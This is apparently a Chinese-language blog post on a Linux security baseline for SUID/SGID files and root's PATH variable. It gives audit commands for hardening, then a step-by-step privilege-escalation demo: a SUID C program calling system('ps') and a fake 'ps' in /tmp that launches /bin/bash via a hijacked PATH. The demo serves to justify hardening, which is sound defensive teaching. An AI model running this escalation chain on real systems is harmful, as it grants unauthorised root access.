Linux 安全基線-作業系統Linux SUID/SGID文件安全基線

Linux 安全基線-操作系統Linux SUID/SGID文件安全基線

最近很多小夥伴私底下問到,Linux下root的環境變量和未授權的SUID和SGID為什麼要加固?會有什麼風險?具體有哪些危害?今天給大家簡單介紹一下Linux的環境變量配置不當可以導致系統提權。

1、Linux的加固項介紹:

1.1 查找未授權的SUID/SGID文件

安全基線項目名稱:

操作系統Linux SUID/SGID文件安全基線要求項

安全基線項說明

文件系統-查找未授權的SUID/SGID文件

檢測操作步驟:

用下面的命令查找系統中所有的SUID和SGID程序,執行:

for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do

find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print

Done

建議經常性的對比suid/sgid文件列表,以便能夠及時發現可疑的後門程序

1.2 root用戶環境變量的安全性

安全基線項目名稱:

操作系統Linux超級用戶環境變量安全基線要求項

安全基線項說明:

帳號與口令-root用戶環境變量的安全性

檢測操作步驟:

執行:echo $PATH | egrep '(^|:)(\.|:|$)',檢查是否包含父目錄,

執行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,檢查是否包含組目錄權限為777的目錄

確保root用戶的系統路徑中不包含父目錄,在非必要的情況下,不應包含組權限為777的目錄

2、利用過程

$PATH是Linux和類Unix操作系統中的環境變量,它指定了存儲所有可執行程序的bin和sbin目錄。當用戶在終端運行任何命令時,它向shell發出請求,在環境變量的幫助下搜索可執行文件以響應用戶執行的命令。超級用戶通常還具有/sbin和/usr /sbin條目,以便輕鬆執行系統管理命令。

step1:使用echo命令就能輕易的查看和當前用戶相關的環境變量。

echo $PATH

/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin

step2:編寫一個C語言文件(demo.c),編輯後可執行的二進制文件,需要GCC的環境,如果沒有自行安裝。

#include
void main()
{
setuid(0);
setgid(0);
system("ps");
}

step3:進行編譯,賦權限並執行

ls

gcc demo.c -o shell

chmod u+s shell

ls -la shell

./shell

test@localhost ~]$ ./shell

PID TTY TIME CMD

2407 pts/1 00:00:00 bash

2460 pts/1 00:00:00 shell

2461 pts/1 00:00:00 pss

step4: 攻擊測試

使用copy命令進行測試提權

cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami

3、利用說明

這裡充分說明了,如果一個普通用戶的PATH變量包含了自己能控制的執行文件目錄,再加上利用關鍵具有SUID權限的文件,就可以進行提權,所以這兩個配置項是非常有必要進行安全加固的。


分享到:


相關文章: